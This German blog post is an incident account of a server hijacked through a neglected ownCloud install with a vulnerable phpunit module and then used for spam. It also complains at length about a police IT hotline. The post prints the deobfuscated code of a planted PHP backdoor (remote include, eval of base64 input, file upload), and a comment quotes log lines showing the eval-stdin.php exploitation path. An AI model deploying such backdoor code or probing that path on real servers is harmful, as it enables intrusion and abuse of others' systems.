Server gehackt

Dieser Server hier wurde also gehackt und zum Spammen missbraucht. Genauer gesagt es lag hier auf dem Server eine owncloud-Instanz rum, die phpunit als Modul installiert hatte und die Sicherheitslücke dieser zugegebenermaßen ungepflegten und ungewarteten darüber hinaus ungenutzten Instanz wurde gehackt und Code eingeschleust.


In den Logs kann man dann mit der Suche nach „Punkt n.php Fragezeichendir=“ (so geschrieben weil witzigerweise modsecurity hier das Update des Postings blockt, warum der Eindringling es dann trotzdem hochladen konnte, ist für mich noch ein Rätsel) dann sehen wo sich der Angreifer überall rumgegtrieben hat. Wie das Anlegen der tbmailer.php unter WordPress ging es wohl von Anfang an darum Spamsoftware zu installieren. Die tbmailer.php existierte auf jeden Fall schon am ersten August wurde aber nicht zum Spammen verwendet. Vielleicht funktionierte sie nicht so wie gewünscht.

Der Angreifer hätte auch alles von diesem Server löschen können, wenn er gewollt hätte oder lustige Bildchen hinterlassen mit „Dieser Server wurde gehackt„. Aber man bewegte sich unauffällig. An einem Tag hier ein bisschen und einem anderen Tag da ein bisschen. Am 3.8.2019 schlug man dann mit einer leafmailer.php in .well-known zu und jagte über 2 Tage so ungefähr 12.000 Spammails raus.

Installiert wurde die Datei von einer indonesischen Mobilfunkip aus. Der Angriff wäre nicht so nachvollziehbar, wenn der Angreifer die Logdateien gelöscht hätte. Möglich wäre ihm das gewesen, da der Apache auch Zugriff auf die Logs hat. Vielleicht hätte man das ja später auch getan und ist vielleicht nur schneller aufgeflogen als die Angreifer gedacht haben.

Ein bisschen ist ja mein Server wie ein Honeypot eine Ägyptische IP schaute sich eine config.php im Stammverzeichnis an. Die lag da von einer phpgedview-Installation unkonfiguriert rum und ich hatte sie nie gelöscht. Von aussen ist die auch über https://bgeserver.de/config.php erreichbar. Aber über IndoXploit sieht man natürlich dann auch den Quelltext der Datei. Wäre sie konfiguriert gewesen, wäre darin ein Mysql-Passwort zu finden gewesen. Genauso erging es ihm mit einem unkonfigurierten Roundcube, dass da so rum lag. Eine amerikanische IP machte sich dann über wordpress her allerdings betrachtete er sich auch die config.php im Stammverzeichnis.

Logeinträge wie

„Undefined index: act in „…“ on line 1739, referer: „…“idx_config&do=cpanel“

zeigen, dass auch nach einem Webserverkonfigurationsinterface gesucht wurde. Hat dieser Server nicht, ich mache alles mit ssh.

Weit verstreut auf dem Server befand sich danach ein haccess.php. Der Code dieser Datei war in base64 dekodiert und das entschlüsselte Ergebnis auch nochmal in base64 – das dann nochmal entschlüsselt ergab dann:


error_reporting(0); ${„GLOBALS“}[„dxpggwemd“]=“ev“;$kiejpi=“ev“;$imivhcblfl=“in“;$hgrptjcx=“in“;${„GLOBALS“}[„ysfombthhq“]=“in“;${$imivhcblfl}=$_GET[„in“];if(isset(${${„GLOBALS“}[„ysfombthhq“]})&&!empty(${$hgrptjcx})){echodie(include_once $in);}${$kiejpi}=$_GET[„ev“];if(isset(${${„GLOBALS“}[„dxpggwemd“]})&&!empty(${${„GLOBALS“}[„dxpggwemd“]})){eval(base64_decode(${${„GLOBALS“}[„dxpggwemd“]}));exit;}if($_GET[„send“]==“ok“){echo“<form action=\“\“ method=“post\“ enctype=\“multipart/form-data“ name=\“country“ id=\“country“><input type=“file“ name=“file\“ size=“50\“><input name=“_con“ type=\“submit“ id=“_con“ value=\“home“></form> „;if($_POST[„_con“]==“home“){if(@copy($_FILES[„file“][„tmp_name“],$_FILES[„file“][„name“])){echo“done :d“;}else{echo“error“;}}exit;}

Wenn ich den Code richtig kapiere lassen sich damit dann beliebige Dateien auf den Server nachladen. 

Owncloud hatte ich Anfang 2016 auf dem Server für das Bündnis Grundeinkommen mal installiert, war aber als Arbeitsplattform irgendwie untauglich. Ich hätte das damals wieder löschen sollen, statt einfach ungewartet auf der Platte rumliegen zu lassen. Jetzt ist es gelöscht. 

Am meisten nervt mich wahrscheinlich, das ich nicht ganz rausgefunden habe, wann und wie genau sie reingekommen sind. Sowas

\x16\x03\x01\x00\x7F\x01\x00\x00{\x03\x03\x98\x83\x17\xE2\x08z&\x0F\x11\x12a\xA3\xB3\xAA9\xBD(7\x8E\xA5\xA9\xCE\xC9\xCD\xC8\xEB\x96\xA8\xF9\x06\xC0\xA5\x00\x00\x1C\xC0/\xC0+\xC00\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0

bekomme ich zumindest nicht sinnvoll dekodiert.

Nebenbei habe ich dann noch erfahren, dass es eine IT-Hotline für Notfälle von der bayerischen Polizei seit dem 1.8.2019 unter der 089/1212-4400 gibt. Habe dort nachdem ich mich auf Twitter über den Hack ausgekotzt hatte und die Polizei München mir diese Nummer empfahl tatsächlich angerufen.

VERGESST DIE NUMMER WIEDER DIE TAUGT NIX.

Nach einer Ansage für was sie alles nicht zuständig sind und 5 Minuten gedudel ich glaube es war Mozart oder Vivaldi hatte ich so einen „Fachmann“ am Apparat. Ich glaube, der hat kein Wort verstanden, was mein Problem ist. Sein Rat war doch tatsächlich ich solle den Rechner zur Polizeidienststelle bringen. Mal abgesehen davon, dass das hier gar kein Rechner ist, sondern eine virtuelle Maschine im Internet, besteht der Notfall ja darin den Spammer dahingehend zu stoppen, dass er keinen Spam mehr über diese Maschine schickt. Als ich dort anrief hatte ich die tbmailer.php unter WordPress noch gar nicht entdeckt. Den Spam über leafmailer.php hatte ich ja bereits gestoppt. Ich Naivling dachte mir „Oh toll, die Polizei hat für solche Fälle jetzt eine Notfall Hotline und kann Tipps geben, was man schauen sollte.“ Pustekuchen!

Das die Eindringling IndoXploit verwenden wusste ich zum Zeitpunkt meines Anrufes bereits und dass der Spam über leafmailer.php eingesteuert wurde auch. Aber für die IT-Notfall-Hotline war das alles spanische Dörfer. Der wusst noch nicht mal was Owncloud ist, mit der Bemerkung, dass man ja nicht jeden Trojaner kennen könne. Autsch – ausgerechnet, das was kein Trojaner war, sondern die befallene Software bezeichnete er als Trojaner. Das richtig gefährliche Zeug wie die Backdoorshell IndoXploit war ihm ebenso unbekannt wie leafmailer.php. Wahrscheinlich dürfen die in der Behörde kein Google benutzen. Der erste Link bei der Suche nach leafmailer.php wirft das https://github.com/bediger4000/php-malware-analysis/tree/master/leafmailer aus. Und einmal IndoXploit eingeben und man landet beim Sourcecode https://github.com/linuxsec/indoxploit-shell

Der Anruf war also eher was zum Lachen oder Weinen, aber auf keinen Fall eine Hilfe. Nachdem ich ihm erklärt hatte, dass das mit dem Rechner zur Polizei bringen nicht ist, weil das kein phyiskalischer Rechner ist. Fasselte er was ich solle zur Polizeidienststelle gehen und dann halt dort Zugriff auf den Rechner im Netz geben. Dann erklärte ich ihm, dass quasi die Polizeidienststelle ihn empfohlen hätte https://twitter.com/PolizeiMuenchen/status/1159035915081310208

Er erklärte mir dann, dass die Polizeidienststelle die Hotline wohl falsch verstanden hätte. Nun gut ich kann es der Polizei nicht verübeln, denn den Tweet den sie zitierte sagte vom Bayerischen Landeskriminalamt:

Hotline der Bayerischen Polizei für IT-Notfälle:
089/1212-4400
Hilfe bei Internet-/Computerkriminalität, z.B.
Phishing-Mails
Passwort-Hacking
Schadsoftware

Und jetzt überlegt Euch, was obiger Fall mit dem leafmailer.php eigentlich ist

Große Sprüche über Twitter raushauen, aber eigentlich gar nicht liefern können. Als ich ihm noch erklärte, dass der Täter aus Indonesien eingebrochen ist und die Münchner Polizei da wohl etwas machtlos sei, war das Gespräch eigentlich zu Ende.

Er meinte noch, ich könnte den Schaden ja anzeigen. Danke verzichte, wenn ich den Rechner dann zur Polizeidienststelle tragen muss – möglicherweise das ganze Rechenzentrum – mein Provider killt mich, wenn ich das täte.

Fazit lasst keine alte ungepflegte Software rumliegen und habe einen Blick auf die CVEs und vergesst die deutsche Polizei bei Internetkriminalität, die haben immer noch null Ahnung. Es ist ein Trauerspiel.

 

 

 

Ein Kommentar

  1. Am Freitag den 19. Juli 2019 indexiert eine Suchmaschine ahrefs.bot die Sicherheitslücke
    [Fri Jul 19 02:29:48.661851 2019] [:error] [pid 21507] [client 54.36.150.119:41000] PHP 1. {main}() /var/www/owncloud/apps/ojsxc/vendor/phpunit/phpunit/src/Util/PHP/Windows.php:0
    und um 5:18 und 19 Sekunden macht jemand die Maschine auf:
    120.188.80.249 – – [19/Jul/2019:05:18:19 +0200] „GET /owncloud/apps/ojsxc/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1“ 200 4542 „-“ „Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36“
    120.188.80.249 – – [19/Jul/2019:05:18:20 +0200] „GET /owncloud/apps/ojsxc/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1“ 200 4803 „-“ „Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36“
    120.188.80.249 – – [19/Jul/2019:05:18:22 +0200] „GET /owncloud/apps/ojsxc/vendor/phpunit/phpunit/src/Util/PHP/k3-.php HTTP/1.1“ 200 4911 „-“ „Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36“

    Innerhalb von 3 Sekunden ist das ein Skript vom Cracker.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

sieben + neun =

Translate »